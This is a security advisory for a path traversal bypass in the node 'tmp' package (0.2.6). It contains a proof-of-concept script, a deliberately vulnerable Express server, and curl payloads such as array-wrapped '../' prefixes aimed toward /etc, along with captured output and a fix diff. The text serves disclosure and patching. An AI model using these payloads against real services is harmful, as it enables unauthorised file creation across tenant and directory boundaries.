tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.

Summary

The assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions. - Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

javascript // lib/tmp.js:533-539 function assertPath(path) { if (path.includes("..")) { throw new Error("Relative value not allowed"); }

return path; }

javascript // lib/tmp.js:577-580 options.prefix = isUndefined(options.prefix) ? '' : assertPath(options.prefix); options.postfix = isUndefined(options.postfix) ? '' : assertPath(options.postfix); options.template = isUndefined(options.template) ? undefined : assertPath(options.template);

javascript // lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join const name = [ opts.prefix ? opts.prefix : 'tmp', '-', process.pid, '-', randomChars(12), opts.postfix ? '-' + opts.postfix : '' ].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array. 2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' }); console.log(' UNEXPECTED, file at:', r.name); r.removeCallback(); } catch (e) { console.log(' BLOCKED as expected:', e.message); }

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); }

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: { toString: () => '../escape', includes: () => false } }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); }

Observed output on tmp@0.2.6:

text [negative control] string "../escape" - must be blocked BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

bash mkdir tmp-bypass-poc && cd tmp-bypass-poc npm init -y npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

javascript const express = require('express'); const tmp = require('tmp'); const fs = require('fs'); const path = require('path');

const app = express(); app.use(express.json());

const TENANTBASE = fs.mkdtempSync('/tmp/tenant-base-'); console.log('[victim] Tenant base dir:', TENANTBASE);

app.post('/upload', (req, res) => { const userPrefix = req.body.prefix; // attacker-controlled console.log('[victim] received prefix:', JSON.stringify(userPrefix), '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

tmp.file({ tmpdir: TENANTBASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => { if (err) { console.log('[victim] tmp error:', err.message); return res.status(400).json({ error: err.message }); } fs.writeSync(fd, 'attacker-controlled-content'); fs.closeSync(fd); const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANTBASE)); console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped); res.json({ filepath, escaped, tenantBase: TENANTBASE }); }); });

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

bash node victim-server.js &

Drive three requests from another shell:

bash echo '=== ATTACK 1: string prefix - caught by 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo echo '=== ATTACK 3: multi-level traversal toward /etc ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

text === ATTACK 1: string prefix - caught by 0.2.6 === {"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 === {"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc === {"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

text [victim] Tenant base dir: /tmp/tenant-base-3XHwPZ [victim] received prefix: "../escape-string" (type: string ) [victim] tmp error: Relative value not allowed [victim] received prefix: ["../escape-array"] (type: array ) [victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true [victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array ) [victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

- ATTACK 1 (string ../escape-string) is rejected at assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:

bash $ ls -la /tmp/escape-array- -rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh $ cat /tmp/escape-array- attacker-controlled-content $ ls -la /tmp/tenant-base-3XHwPZ/ total 0 drwx------ 2 rick wheel 64 May 27 20:25 .

Tenant base is empty. The escape is complete.

- ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

text === ATTACK 2: array prefix - after fix === {"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

diff --- a/lib/tmp.js +++ b/lib/tmp.js @@ -528,11 +528,14 @@ function generateTmpName(opts) { / - Check the prefix and postfix options + Check the prefix, postfix, and template options @private / -function assertPath(path) { - if (path.includes("..")) { +function assertPath(option, value) { + if (typeof value !== 'string') { + throw new Error(${option} option must be a string, got "${typeof value}".); + } + if (value.includes("..")) { throw new Error("Relative value not allowed"); }

- return path; + return value; } @@ -575,9 +578,9 @@ function assertOptionsBase(options) { options.unsafeCleanup = !!options.unsafeCleanup;

// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to - options.prefix = isUndefined(options.prefix) ? '' : assertPath(options.prefix); - options.postfix = isUndefined(options.postfix) ? '' : assertPath(options.postfix); - options.template = isUndefined(options.template) ? undefined : assertPath(options.template); + options.prefix = isUndefined(options.prefix) ? '' : assertPath('prefix', options.prefix); + options.postfix = isUndefined(options.postfix) ? '' : assertPath('postfix', options.postfix); + options.template = isUndefined(options.template) ? undefined : assertPath('template', options.template); }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after generateTmpName, similar to what getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.